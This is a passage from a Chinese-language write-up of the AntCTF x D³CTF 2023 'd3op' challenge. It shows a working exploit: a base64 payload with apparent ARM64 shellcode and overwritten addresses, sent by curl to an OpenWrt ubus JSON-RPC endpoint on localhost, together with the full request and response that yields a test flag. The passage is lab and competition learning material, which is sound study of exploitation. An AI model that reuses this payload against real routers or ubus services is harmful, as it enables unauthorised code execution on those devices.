'7sWM0o4trPLuDMDy7g8f+IDzn9Lg/7/y4P/f8uD///LhAwCR4gMfqggHgNIBAADUYACA0oF0hNJBCaDyAiCA0ugHgNIBAADUIACA0gFzhNJBCaDyAiCA0ggIgNIBAADUYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWEAAAAAAAAAAAAwSgAAAAAAAABKAAAAAABhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheyJvdXRwdXQiOiAiYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWEifWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYXd3AAAdBAAAhAUAAHcHAAAAAAAAAAAAAJgIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKR5RQAAAAAAAAAAAAAAAAAAAAAAAAAAAAgeSgAAAAAAmCBKAAAAAACYIEoAAAAAAJggSgAAAAAAmCBKAAAAAACYIEoAAAAAAA=='
shell
=
'''curl -v -d '{"jsonrpc":"2.0","id":null, "method":"call", "params" : ["00000000000000000000000000000000", "base64", "decode", {"input" : "'''
+
p1
+
'''"}]}' '''
+
ip
li(shell)
system(shell)
|
远程交互如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
curl
-
v
-
d
'{"jsonrpc":"2.0","id":null, "method":"call", "params" : ["00000000000000000000000000000000", "base64", "decode", {"input" : "7sWM0o4trPLuDMDy7g8f+IDzn9Lg/7/y4P/f8uD///LhAwCR4gMfqggHgNIBAADUYACA0oF0hNJBCaDyAiCA0ugHgNIBAADUIACA0gFzhNJBCaDyAiCA0ggIgNIBAADUYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWEAAAAAAAAAAAAwSgAAAAAAAABKAAAAAABhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheyJvdXRwdXQiOiAiYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWEifWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYXd3AAAdBAAAhAUAAHcHAAAAAAAAAAAAAJgIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKR5RQAAAAAAAAAAAAAAAAAAAAAAAAAAAAgeSgAAAAAAmCBKAAAAAACYIEoAAAAAAJggSgAAAAAAmCBKAAAAAACYIEoAAAAAAA=="}]}'
http:
/
/
127.0
.
0.1
:
9999
/
ubus
*
Trying
127.0
.
0.1
:
9999.
..
*
TCP_NODELAY
set
*
Connected to
127.0
.
0.1
(
127.0
.
0.1
) port
9999
(
#0)
> POST
/
ubus HTTP
/
1.1
> Host:
127.0
.
0.1
:
9999
> User
-
Agent: curl
/
7.68
.
0
> Accept:
*
/
*
> Content
-
Length:
1721
> Content
-
Type
: application
/
x
-
www
-
form
-
urlencoded
> Expect:
100
-
continue
>
*
Mark bundle as
not
supporting multiuse
< HTTP
/
1.1
100
Continue
*
We are completely uploaded
and
fine
*
Mark bundle as
not
supporting multiuse
< HTTP
/
1.1
200
OK
< Connection: Keep
-
Alive
< Transfer
-
Encoding: chunked
< Keep
-
Alive: timeout
=
20
< Content
-
Type
: application
/
json
<
*
Connection
#0 to host 127.0.0.1 left intact
{
"jsonrpc"
:
"2.0"
,
"id"
:null,
"result"
:[
0
,{
"output"
:
"flag{This_is_test_flag}\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
}]}
|
至此,d3op复盘结束
学到了很多,ubus的通信,如何优雅的使用gadgets(XD
更多【AntCTF x D³CTF 2023 d3op复盘笔记】相关视频教程:www.yxfzedu.com